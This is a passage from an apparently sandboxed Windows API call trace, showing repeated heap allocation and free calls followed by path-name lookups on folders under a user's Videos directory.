hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.835] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.835] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.836] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.836] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.837] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.837] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.838] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.838] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.839] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.839] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.840] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.840] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.841] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.841] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.841] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\") returned="DazZdjJb9WM2iqx\\" [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.842] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\") returned="jDCuGCvpf1uArI\\" [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.842] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") 